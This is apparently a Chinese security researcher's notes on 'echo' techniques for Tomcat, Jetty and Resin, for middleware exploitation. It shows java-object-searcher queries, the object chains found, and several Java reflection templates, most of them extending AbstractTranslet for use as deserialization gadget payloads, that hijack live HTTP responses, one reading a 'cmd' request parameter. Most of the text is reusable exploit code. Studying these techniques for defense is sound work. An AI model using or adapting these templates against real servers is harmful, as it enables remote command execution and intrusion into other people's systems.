 
                    本篇是对Tomcat、jetty、resin等中间件回显技术的一个记录,便于后续需要应用该技术时进行翻阅和回忆。
本质上就是寻找中间件运行时存储request、response这两个变量的位置,利用Java反射技术进行调用组装。
记录过程中,使用java-object-searcher工具进行辅助挖掘。感谢该作者无私开源。 https://github.com/c0ny1/java-object-searcher
使用该工具时,注意需要自行编译,然后将其加入到项目ClassPath即可,在用IDEA进行断点调试后,可以使用如下查询语句配合IDEA的Evaluate Expression进行查询,然后在你设置结果存放目录下进行查看即可。
//设置搜索类型包含ServletRequest,RequstGroup,Request...等关键字的对象
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("ServletRequest").build());
keys.add(new Keyword.Builder().setField_type("RequstGroup").build());
keys.add(new Keyword.Builder().setField_type("RequestInfo").build());
keys.add(new Keyword.Builder().setField_type("RequestGroupInfo").build());
keys.add(new Keyword.Builder().setField_type("Request").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);
//打开调试模式
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(20);
//设置报告保存位置
searcher.setReport_save_path("/tmp/searchTomcatRsp/");
searcher.searchObject();//结果1
TargetObject = {org.apache.tomcat.util.threads.TaskThread} 
  ---> group = {java.lang.ThreadGroup} 
   ---> threads = {class [Ljava.lang.Thread;} 
    ---> [14] = {java.lang.Thread} 
     ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} 
      ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} 
        ---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler} 
         ---> global = {org.apache.coyote.RequestGroupInfo}
通过Java反射调用能够构造如下的代码demo。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.buf.ByteChunk;
import org.apache.tomcat.util.net.AbstractEndpoint;
import org.apache.tomcat.util.net.NioChannel;import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
public class TomcatEchoTemplate extends AbstractTranslet {
    public TomcatEchoTemplate() {
        try {
            Object obj = Thread.currentThread();
            Field field = obj.getClass().getSuperclass().getDeclaredField("group");
            field.setAccessible(true);
            obj = field.get(obj);
            field = obj.getClass().getDeclaredField("threads");
            field.setAccessible(true);
            obj = field.get(obj);
            Thread[] threads = (Thread[]) obj;
            for (Thread thread : threads) {
                if (thread.getName().contains("Poller")) {
                    try {
                        field = thread.getClass().getDeclaredField("target");
                        field.setAccessible(true);
                        obj = field.get(thread);
                        field = obj.getClass().getDeclaredField("this$0");
                        field.setAccessible(true);
                        obj = field.get(obj);
                        Method getHandler = obj.getClass().getDeclaredMethod("getHandler");
                        getHandler.setAccessible(true);
                        Object handler = getHandler.invoke(obj);
                        Method getGlobal = handler.getClass().getDeclaredMethod("getGlobal");
                        getGlobal.setAccessible(true);
                        Object requestGroupInfo = getGlobal.invoke(handler);
                        Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
                        processors.setAccessible(true);
                        ArrayList<Object> requestInfoArrayList = (ArrayList<Object>) processors.get(requestGroupInfo);
                        for (Object requestInfo : requestInfoArrayList) {
                            try {
                                field = requestInfo.getClass().getDeclaredField("req");
                                field.setAccessible(true);
                                obj = field.get(requestInfo);
                                org.apache.coyote.Request request = (org.apache.coyote.Request) obj;
                                byte[] buf = "Echo1".getBytes();
                                ByteChunk bc = new ByteChunk();
                                bc.setBytes(buf, 0, buf.length);
                                request.getResponse().doWrite(bc);
                            }catch (Exception e){
                                e.printStackTrace();
                            }
                        }
                    } catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
}
public class TomcatEchoTemplate1 extends AbstractTranslet {    public static void TomcatEchoTemplate1() throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
        Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
        Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
        modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
        modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
        WRAP_SAME_OBJECT_FIELD.setAccessible(true);
        lastServicedRequestField.setAccessible(true);
        lastServicedResponseField.setAccessible(true);
        ThreadLocal<ServletResponse> lastServicedResponse =
                (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
        ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
        boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
        String cmd = lastServicedRequest != null
                ? lastServicedRequest.get().getParameter("cmd")
                : null;
        if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
            lastServicedRequestField.set(null, new ThreadLocal<>());
            lastServicedResponseField.set(null, new ThreadLocal<>());
            WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
        } else if (cmd != null) {
            ServletResponse responseFacade = lastServicedResponse.get();
            responseFacade.getWriter();
            java.io.Writer w = responseFacade.getWriter();
            Field responseField = ResponseFacade.class.getDeclaredField("response");
            responseField.setAccessible(true);
            Response response = (Response) responseField.get(responseFacade);
            Field usingWriter = Response.class.getDeclaredField("usingWriter");
            usingWriter.setAccessible(true);
            usingWriter.set((Object) response, Boolean.FALSE);
            w.write("test");
            w.flush();
        }
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
        
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
}
        ---> mserver = {com.sun.jmx.mbeanserver.JmxMBeanServer} 
         ---> mbsInterceptor = {com.sun.jmx.interceptor.DefaultMBeanServerInterceptor} 
          ---> repository = {com.sun.jmx.mbeanserver.Repository} 
           ---> domainTb = {java.util.Map<java.lang.String, java.util.Map<java.lang.String, com.sun.jmx.mbeanserver.NamedObject>>} 
            ---> [Catalina] = {java.util.HashMap} 
              ---> [Catalina] = {com.sun.jmx.mbeanserver.NamedObject} 
               ---> object = {org.apache.tomcat.util.modeler.BaseModelMBean} 
                 ---> resource = {org.apache.coyote.RequestGroupInfo} 
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.coyote.Request;
import org.apache.tomcat.util.buf.ByteChunk;
import org.apache.tomcat.util.modeler.Registry;import javax.management.MBeanServer;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.ArrayList;
import java.util.HashMap;
public class TomcatEchoTemplate2 extends AbstractTranslet {
    public static void TomcatEchoTemplate2() throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        try{
            MBeanServer mbeanServer = Registry.getRegistry((Object)null, (Object)null).getMBeanServer();
            Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
            field.setAccessible(true);
            Object obj = field.get(mbeanServer);
            field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
            field.setAccessible(true);
            obj = field.get(obj);
            field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
            field.setAccessible(true);
            HashMap obj2 = (HashMap)field.get(obj);
            HashMap CatalinaMap = (HashMap)obj2.get("Catalina");
            obj = CatalinaMap.get("name=\"http-nio-8080\",type=GlobalRequestProcessor");
            field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
            field.setAccessible(true);
            obj = field.get(obj);
            field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
            field.setAccessible(true);
            obj = field.get(obj);
            field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
            field.setAccessible(true);
            ArrayList obj3 = (ArrayList)field.get(obj);
            field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
            field.setAccessible(true);
            for (int i = 0; i < obj3.size(); i++) {
                Request obj4 = (Request) field.get(obj3.get(i));
                byte[] buf = "test".getBytes();
                ByteChunk bc = new ByteChunk();
                bc.setBytes(buf, 0, buf.length);
                obj4.getResponse().doWrite(bc);
            }
        } catch (Exception e){
        }
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
}
TargetObject = {java.lang.Thread} 
  ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap} 
   ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} 
    ---> [31] = {java.lang.ThreadLocal$ThreadLocalMap$Entry} 
     ---> value = {org.eclipse.jetty.server.HttpConnection} 
      ---> _channel = {org.eclipse.jetty.server.HttpChannelOverHttp} 
       ---> _request = {org.eclipse.jetty.server.Request}
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;public class JettyEchoTemplate {
    
    public JettyEchoTemplate() {
        Class clazz = Thread.currentThread().getClass();
        Field field = null;
        try {
            field = clazz.getDeclaredField("threadLocals");
            field.setAccessible(true);
            Object obj = field.get(Thread.currentThread());
            field = obj.getClass().getDeclaredField("table");
            field.setAccessible(true);
            obj = field.get(obj);
            Object[] object_array = (Object[]) obj;
            for (Object test : object_array){
                if (test == null) continue;
                Field value = test.getClass().getDeclaredField("value");
                value.setAccessible(true);
                Object ishttpConnection = value.get(test);
                if (ishttpConnection != null && ishttpConnection.getClass().getName().endsWith("HttpConnection")){
                    java.lang.reflect.Method method = ishttpConnection.getClass().getDeclaredMethod("getHttpChannel", null);
                    Object httpChannel = method.invoke(ishttpConnection, null);
//                method = httpChannel.getClass().getMethod("getRequest", null);
//                obj = method.invoke(httpChannel, null);
                    method = httpChannel.getClass().getMethod("getResponse", null);
                    obj = method.invoke(httpChannel, null);
                    method = obj.getClass().getMethod("getWriter", null);
                    java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj, null);
                    printWriter.println("test");
                }
            }
        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (InvocationTargetException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        } catch (NoSuchMethodException e) {
            throw new RuntimeException(e);
        }
    }
}
TargetObject = {com.caucho.env.thread2.ResinThread2} 
  ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap} 
   ---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;} 
    ---> [11] = {java.lang.ThreadLocal$ThreadLocalMap$Entry} 
     ---> value = {com.caucho.server.http.HttpRequest}import java.io.IOException;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;public class ResinEchoTemplate {
    public ResinEchoTemplate() throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, IOException {
        Thread thread = Thread.currentThread();
        Class<?> superclass = thread.getClass().getSuperclass();
        Field threadLocals = superclass.getDeclaredField("threadLocals");
        threadLocals.setAccessible(true);
        Object o = threadLocals.get(thread);
        Field table = o.getClass().getDeclaredField("table");
        table.setAccessible(true);
        Object omap = table.get(o);
        Object[] object_array = (Object[]) omap;
        for (Object singobj : object_array){
            if (singobj == null) continue;
            Field value = singobj.getClass().getDeclaredField("value");
            value.setAccessible(true);
            Object findRequest = value.get(singobj);
            if (findRequest.getClass().getName().endsWith("HttpRequest")){
                Method getRequestFacade = findRequest.getClass().getSuperclass().getDeclaredMethod("getResponseFacade");
                getRequestFacade.setAccessible(true);
                Object httpServletResponseImpl = getRequestFacade.invoke(findRequest);
                Method getWriterM = httpServletResponseImpl.getClass().getMethod("getWriter");
                Writer w = (Writer)getWriterM.invoke(httpServletResponseImpl);
                w.write("test");
                break;
            }
        }
    }
}
https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/
记录于2022年8月13日 in北京(23年修缮)